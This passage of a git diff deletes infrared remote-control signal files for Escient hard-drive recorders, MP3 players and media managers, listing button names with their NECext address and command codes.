Recorder/15,0.ir deleted file mode 100644 index afd273c47..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Hard Drive Recorder/15,0.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 09 00 00 00 -# -name: CH/PAGE_UP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0D 00 00 00 -# -name: CH/PAGE_DOWN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0E 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 10 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 11 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 12 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 13 00 00 00 -# -name: OPTIONS -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 13 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 14 00 00 00 -# -name: . -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 15 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 16 00 00 00 -# -name: CURSER_UP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 16 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 17 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 18 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 19 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 1A 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 1B 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 1C 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 20 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 21 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 22 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 23 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 24 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 25 00 00 00 -# -name: MOVIES -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 26 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 27 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 28 00 00 00 -# -name: RESUME -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 29 00 00 00 -# -name: I._RADIO -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2A 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2B 00 00 00 -# -name: FAVORITES_MUSIC -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2C 00 00 00 -# -name: FAVORITES_ADD -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2D 00 00 00 -# -name: FAVORITES_PLAY -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2E 00 00 00 -# -name: FAVORITES_RANDOM -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/MP3 Player/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/MP3 Player/0,-1.ir deleted file mode 100644 index cdcae6f28..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/MP3 Player/0,-1.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: CURSER_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: CURSER_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: CURSER_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: CURSER_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/MP3 Player/1,22.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/MP3 Player/1,22.ir deleted file mode 100644 index 26b075632..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/MP3 Player/1,22.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 09 00 00 00 -# -name: PAGE_DOWN -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 0E 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 0F 00 00 00 -# -name: JUKEBOX_MODE -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 11 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 11 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 12 00 00 00 -# -name: LAST -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 13 00 00 00 -# -name: OPTS -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 13 00 00 00 -# -name: OPTIONS/LAST -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 13 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 14 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 15 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 16 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 17 00 00 00 -# -name: CURSOR_OK -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 1A 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 1B 00 00 00 -# -name: VIEW -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 1C 00 00 00 -# -name: VIEW/MENU -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 1C 00 00 00 -# -name: BACKSPACE -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 20 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 21 00 00 00 -# -name: >>_SCAN -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 22 00 00 00 -# -name: SPACE -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 22 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 23 00 00 00 -# -name: MOVIES -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 26 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 28 00 00 00 -# -name: MUSIC -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 2C 00 00 00 -# -name: JUKEBOX_ADD -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 2D 00 00 00 -# -name: ADD -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 2D 00 00 00 -# -name: JUKEBOX_PLAY -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 2E 00 00 00 -# -name: FAVORITES_PLAY -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 2E 00 00 00 -# -name: JUKEBOX_RAND -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 2F 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 2F 00 00 00 -# -name: PREV -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 32 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 33 00 00 00 -# -name: PHOTOS -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 34 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/MP3 Player/14,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/MP3 Player/14,-1.ir deleted file mode 100644 index 2609deac3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/MP3 Player/14,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: EXIT -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 06 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 53 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/MP3 Player/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/MP3 Player/15,-1.ir deleted file mode 100644 index fcaa3b856..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/MP3 Player/15,-1.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2E 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2F 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/MP3 Player/4,22.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/MP3 Player/4,22.ir deleted file mode 100644 index 746c5d93c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/MP3 Player/4,22.ir +++ /dev/null @@ -1,104 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 0D 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 10 00 00 00 -# -name: INPUT/SETUP -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 12 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 18 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 19 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 19 00 00 00 -# -name: OK/SELECT -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 1A 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 1A 00 00 00 -# -name: MENU/VIEW -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 1C 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 1C 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 21 00 00 00 -# -name: SPACE/FOREWARD -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 22 00 00 00 -# -name: MOVIES -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 26 00 00 00 -# -name: SEEK_BACK -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 29 00 00 00 -# -name: RAND -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 2F 00 00 00 -# -name: PREV -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 32 00 00 00 -# -name: HOME -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 34 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/1,22.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/1,22.ir deleted file mode 100644 index 38437d76b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/1,22.ir +++ /dev/null @@ -1,644 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 00 00 00 00 -# -name: 1_./_?' -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 01 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 02 00 00 00 -# -name: 3_DEF -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 03 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 04 00 00 00 -# -name: 5_JKL -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 05 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 06 00 00 00 -# -name: 7_PQRS -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 07 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 08 00 00 00 -# -name: 9_WXYZ -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 09 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 09 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 0B 00 00 00 -# -name: CH_PAGE_UP -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 0D 00 00 00 -# -name: CH/PAGE_+ -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 0D 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 0D 00 00 00 -# -name: PAGE_DOWN -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 0E 00 00 00 -# -name: CH/PAGE_DOWN -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 0E 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 0F 00 00 00 -# -name: PWR -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 0F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 10 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 11 00 00 00 -# -name: LAST_/_MODE -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 11 00 00 00 -# -name: MODE/LAST -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 11 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 12 00 00 00 -# -name: OPTIONS -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 13 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 14 00 00 00 -# -name: GUIDE_TOGGLE -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 14 00 00 00 -# -name: MENU_-_HOME -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 14 00 00 00 -# -name: OPEN_GLOBE -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 15 00 00 00 -# -name: GLOBE -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 15 00 00 00 -# -name: DISC_FLIP -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 15 00 00 00 -# -name: OPENGLOBE -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 15 00 00 00 -# -name: TOGGLE/EXIT -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 15 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 16 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 16 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 17 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 17 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 18 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 19 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 19 00 00 00 -# -name: CURSOR_OK -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 1A 00 00 00 -# -name: INFO_/_ALL -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 1B 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 1B 00 00 00 -# -name: MENU_/_VIEW -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 1C 00 00 00 -# -name: MENU/VIEW -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 1C 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 1C 00 00 00 -# -name: VIEW_TOGGLE -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 1C 00 00 00 -# -name: REW_/BACKSPACE -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 20 00 00 00 -# -name: REWIND/BACKSPACE -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 20 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 20 00 00 00 -# -name: BACKSPACE -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 20 00 00 00 -# -name: REWIND_BACKSPACE -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 20 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 21 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 22 00 00 00 -# -name: FF/SPACE -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 22 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 22 00 00 00 -# -name: SPACE -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 22 00 00 00 -# -name: FORWARD_SPACE -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 22 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 22 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 23 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 24 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 25 00 00 00 -# -name: MOVIES -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 26 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 28 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 29 00 00 00 -# -name: I-RADIO -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 2A 00 00 00 -# -name: I_RADIO -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 2A 00 00 00 -# -name: IRADIO -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 2A 00 00 00 -# -name: RADIO -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 2A 00 00 00 -# -name: MENU_-_RHAPSODY -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 2A 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 2B 00 00 00 -# -name: DISC_+ -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 2B 00 00 00 -# -name: JUKEBOX_NEXT -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 2B 00 00 00 -# -name: MUSIC -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 2C 00 00 00 -# -name: MENU_-_MUSIC -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 2C 00 00 00 -# -name: ADD_FAVORITES -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 2D 00 00 00 -# -name: ADD_TO_FAVORITES -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 2D 00 00 00 -# -name: JUKEBOX_ADD -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 2D 00 00 00 -# -name: PLAY_FAVOR -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 2E 00 00 00 -# -name: PLAY_(FAVORITES) -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 2E 00 00 00 -# -name: RAMDOM -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 2F 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 2F 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 30 00 00 00 -# -name: MACRO -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 31 00 00 00 -# -name: JUKEBOX_MACRO -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 31 00 00 00 -# -name: PREV -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 32 00 00 00 -# -name: JUKEBOX_PREVIOUS -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 32 00 00 00 -# -name: JUKEBOX_REPEAT -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 33 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 33 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 41 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 42 00 00 00 -# -name: PLAYMODE-NORMAL -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 43 00 00 00 -# -name: PLAYMODE-RPT_TRACK -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 44 00 00 00 -# -name: PLAYMODE-RPT_TITLE -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 45 00 00 00 -# -name: PLAYMODE-RPT_GROUP -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 46 00 00 00 -# -name: PLAYMODE-RAND_TITLE -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 47 00 00 00 -# -name: PLAYMODE-RAND_GROUP -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 48 00 00 00 -# -name: VIEW_BY_ARTIST -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 49 00 00 00 -# -name: VIEW_BY_TITLE -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 4A 00 00 00 -# -name: VIEW_BY_SONG -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 4B 00 00 00 -# -name: VIEW_BY_COVER -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 4C 00 00 00 -# -name: PLAYER -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 4D 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 4E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/15,-1.ir deleted file mode 100644 index f25518c32..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/15,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/15,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/15,0.ir deleted file mode 100644 index 6a5c7565b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/15,0.ir +++ /dev/null @@ -1,422 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 09 00 00 00 -# -name: PAGE_UP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0D 00 00 00 -# -name: CH/PAGE_UP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0D 00 00 00 -# -name: PAGE_DOWN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0E 00 00 00 -# -name: CH/PAGE_DOWN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0E 00 00 00 -# -name: CH/PAGE_DN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0E 00 00 00 -# -name: PAGE_DN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0E 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 10 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 11 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 12 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 12 00 00 00 -# -name: OPTIONS -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 13 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 13 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 14 00 00 00 -# -name: OPEN_GLOBE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 14 00 00 00 -# -name: OPTIONS -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 14 00 00 00 -# -name: OPEN_GLOBE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 15 00 00 00 -# -name: . -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 15 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 16 00 00 00 -# -name: CURSER_UP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 16 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 17 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 18 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 19 00 00 00 -# -name: CURSOR_RT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 19 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 1A 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 1B 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 1B 00 00 00 -# -name: MENU/VIEW -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 1C 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 1C 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 20 00 00 00 -# -name: SCAN_<< -type: 